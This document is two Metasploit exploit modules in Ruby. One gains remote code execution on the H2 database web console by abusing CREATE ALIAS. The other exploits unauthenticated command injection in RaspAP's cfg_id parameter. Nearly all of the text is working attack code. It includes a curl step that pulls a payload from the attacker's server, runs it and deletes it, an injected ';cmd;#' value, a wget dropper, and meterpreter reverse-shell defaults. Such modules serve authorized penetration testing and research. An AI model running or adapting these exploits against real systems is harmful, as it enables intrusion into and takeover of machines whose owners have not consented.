<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::Remote::HttpServer<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'H2 Web Interface Create Alias RCE',<br /> 'Description' => %q{<br /> The H2 database contains an alias function which allows for arbitrary Java code to be used.<br /> This functionality can be abused to create an exec functionality to pull our payload down<br /> and execute it. H2's web interface contains restricts MANY characters, so injecting a payload<br /> directly is not favorable. A valid database connection is required. If the database engine<br /> was configured to allow creation of databases, the module default can be used which<br /> utilizes an in memory database. Some Docker instances of H2 don't allow writing to<br /> folders such as /tmp, so we default to writing to the working directory of the software.<br /><br /> This module was tested against H2 version 2.1.214, 2.0.204, 1.4.199 (version detection fails)<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'h00die', # msf module<br /> 'gambler', # edb 44422<br /> 'h4ckNinja', # edb 45506<br /> 'Nairuz Abulhul' # medium write-up<br /> ],<br /> 'References' => [<br /> [ 'EDB', '44422'],<br /> [ 'EDB', '45506'],<br /> [ 'URL', 'https://medium.com/r3d-buck3t/chaining-h2-database-vulnerabilities-for-rce-9b535a9621a2'],<br /> [ 'URL', 'https://www.h2database.com/html/commands.html#create_alias']<br /> ],<br /> 'Stance' => Stance::Aggressive,<br /> 'Platform' => 'unix',<br /> 'Arch' => [ARCH_CMD],<br /> 'Privileged' => false,<br /> 'Payload' => {<br /> # likely more, these aren't really used now that we go with a curl<br /> # to retrieve our payload, but leaving here for future travelers<br /> 'BadChars' => '"<>;|`\\'<br /> },<br /> 'Targets' => [<br /> [ 'Automatic Target', {}]<br /> ],<br /> 'DisclosureDate' => '2018-04-09', # first EDB link, prob older since this seems to be a 'feature'<br /> 'DefaultTarget' => 0,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'<br /> },<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],<br /> 'NOCVE' => ['abusing a feature']<br /> }<br /> )<br /> )<br /> register_options(<br /> [<br /> Opt::RPORT(8082),<br /> OptString.new('USERNAME', [ true, 'User to login with', '']),<br /> OptString.new('PASSWORD', [ true, 'Password to login with', '']),<br /> OptString.new('DATABASE', [ true, 'Database to use', 'jdbc:h2:mem:']),<br /> OptString.new('TARGETURI', [ true, 'The URI of the H2 web interface', '/']),<br /> OptBool.new('GETVERSION', [ true, 'Get the version of the database before exploiting', true])<br /> ]<br /> )<br /> end<br /><br /> def get_jsessionid<br /> vprint_status('Obtaining jsessionid (cookie equivalent)')<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'login.jsp'),<br /> 'method' => 'GET'<br /> )<br /> return nil if res.nil?<br /> return nil unless res.code == 200<br /><br /> if res.body =~ /location.href = 'login\.jsp\?jsessionid=([^']+)';/<br /> vprint_good("jsessionid (cookie equivalent): #{Regexp.last_match(1)}")<br /> return Regexp.last_match(1)<br /> else<br /> return nil<br /> end<br /> end<br /><br /> def login(check_only: false)<br /> page = 'login.do'<br /> if check_only<br /> page = 'test.do'<br /> end<br /> send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, page),<br /> 'method' => 'POST',<br /> 'vars_get' => {<br /> 'jsessionid' => @jsessionid<br /> },<br /> 'vars_post' => {<br /> 'language' => 'en',<br /> 'setting' => 'Generic+H2+%28Server%29',<br /> 'name' => 'Generic+H2+%28Server%29',<br /> 'driver' => 'org.h2.Driver',<br /> 'url' => datastore['DATABASE'],<br /> 'user' => datastore['USERNAME'],<br /> 'password' => datastore['PASSWORD']<br /> }<br /> })<br /> end<br /><br /> def check<br /> @jsessionid = get_jsessionid<br /><br /> res = send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, 'login.jsp'),<br /> 'method' => 'GET',<br /> 'vars_get' => {<br /> 'jsessionid' => @jsessionid<br /> }<br /> })<br /> return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?<br /> return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200<br /> return CheckCode::Unknown("#{peer} - H2 web interface not found") unless res.body.include? '<title>H2 Console</title>'<br /><br /> print_status("Detected autofilled DB: #{Regexp.last_match(1)}") if res.body =~ /<td class="login"><input type="text" name="url" value="([^"]+)"/<br /> print_status("Detected autofilled Username: #{Regexp.last_match(1)}") if res.body =~ /<td class="login"><input type="text" name="user" value="([^"]+)"/<br /> res = login(check_only: true)<br /> return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?<br /> return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200<br /><br /> return CheckCode::Vulnerable("#{peer} - H2 web interface found, and database connection successful") if res.body.include? 'Test successful'<br /><br /> CheckCode::Safe("#{peer} - H2 web interface found, however database connection NOT successful")<br /> end<br /><br /> def send_command(command)<br /> res = send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, 'query.do'),<br /> 'method' => 'POST',<br /> 'vars_get' => {<br /> 'jsessionid' => @jsessionid<br /> },<br /> 'vars_post' => {<br /> 'sql' => command<br /> }<br /> })<br /> return nil if res.nil?<br /> return nil if res.code != 200<br /><br /> res.body<br /> end<br /><br /> def get_version<br /> version = send_command('SELECT H2VERSION() FROM DUAL;')<br /> # regex likely to break on version upgrades unfortunately<br /> if version =~ %r{<table class="resultSet" cellspacing="0" cellpadding="0"><tr><th>H2VERSION\(\)</th></tr><tr><td>([^<]+)</td></tr></table>}<br /> print_good("H2 Version detected: #{Regexp.last_match(1)}")<br /> return<br /> end<br /> print_error('Unable to detect version')<br /> end<br /><br /> def on_request_uri(cli, _request)<br /> print_good('Received payload request')<br /> send_response(cli, payload.encoded)<br /> end<br /><br /> def exploit<br /> @jsessionid ||= get_jsessionid<br /><br /> res = login<br /> return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?<br /> return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200<br /><br /> if datastore['GETVERSION']<br /> get_version<br /> end<br /><br /> start_service<br /> alias_name = Rex::Text.rand_text_alpha_upper(6..12)<br /> alias_function = %|CREATE ALIAS #{alias_name} AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : ""; }$$;|<br /> # escape single quotes with double single quotes, http://www.h2database.com/html/grammar.html<br /> payload_name = "#{Rex::Text.rand_text_alphanumeric(6..10)}.sh"<br /> vprint_status("Saving payload as #{payload_name}")<br /> run_alias = "CALL #{alias_name}('curl #{get_uri} -o #{payload_name}');<br /> CALL #{alias_name}('chmod a+x #{payload_name}');<br /> CALL #{alias_name}('./#{payload_name} &');<br /> CALL #{alias_name}('rm -rf #{payload_name}');"<br /> delete_alias = "DROP ALIAS #{alias_name};"<br /> print_status('Attempting to execute payload retrieval')<br /> send_command("#{alias_function} #{run_alias} #{delete_alias}")<br /> rescue ::Rex::ConnectionError<br /> fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::CmdStager<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'RaspAP Unauthenticated Command Injection',<br /> 'Description' => %q{<br /> RaspAP is feature-rich wireless router software that just works<br /> on many popular Debian-based devices, including the Raspberry Pi.<br /> A Command Injection vulnerability in RaspAP versions 2.8.0 thru 2.8.7 allows<br /> unauthenticated attackers to execute arbitrary commands in the context of the user running RaspAP via the cfg_id<br /> parameter in /ajax/openvpn/activate_ovpncfg.php and /ajax/openvpn/del_ovpncfg.php.<br /><br /> Successfully tested against RaspAP 2.8.0 and 2.8.7.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'Ege BALCI <egebalci[at]pm.me>', # msf module<br /> 'Ismael0x00', # original PoC, analysis<br /> ],<br /> 'References' => [<br /> ['CVE', '2022-39986'],<br /> ['URL', 'https://medium.com/@ismael0x00/multiple-vulnerabilities-in-raspap-3c35e78809f2'],<br /> ['URL', 'https://github.com/advisories/GHSA-7c28-wg7r-pg6f']<br /> ],<br /> 'Platform' => ['unix', 'linux'],<br /> 'Privileged' => false,<br /> 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],<br /> 'Targets' => [<br /> [<br /> 'Unix Command',<br /> {<br /> 'Platform' => 'unix',<br /> 'Arch' => ARCH_CMD,<br /> 'Type' => :unix_cmd,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'<br /> }<br /> }<br /> ],<br /> [<br /> 'Linux Dropper',<br /> {<br /> 'Platform' => 'linux',<br /> 'Arch' => [ARCH_X86, ARCH_X64],<br /> 'Type' => :linux_dropper,<br /> 'CmdStagerFlavor' => :wget,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'<br /> }<br /> }<br /> ]<br /> ],<br /> 'DisclosureDate' => '2023-07-31',<br /> 'DefaultTarget' => 0,<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => []<br /> }<br /> )<br /> )<br /> register_options(<br /> [<br /> Opt::RPORT(80),<br /> OptString.new('TARGETURI', [ true, 'The URI of the RaspAP Web GUI', '/'])<br /> ]<br /> )<br /> end<br /><br /> def check<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'ajax', 'openvpn', 'del_ovpncfg.php'),<br /> 'method' => 'POST'<br /> )<br /> return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?<br /><br /> if res.code == 200<br /> return CheckCode::Appears<br /> end<br /><br /> CheckCode::Safe<br /> end<br /><br /> def execute_command(cmd, _opts = {})<br /> send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'ajax', 'openvpn', 'del_ovpncfg.php'),<br /> 'method' => 'POST',<br /> 'vars_post' => {<br /> 'cfg_id' => ";#{cmd};#"<br /> }<br /> )<br /> end<br /><br /> def exploit<br /> case target['Type']<br /> when :unix_cmd<br /> print_status("Executing #{target.name} with #{payload.encoded}")<br /> execute_command(payload.encoded)<br /> when :linux_dropper<br /> print_status("Executing #{target.name}")<br /> execute_cmdstager<br /> end<br /> end<br />end<br /></code></pre>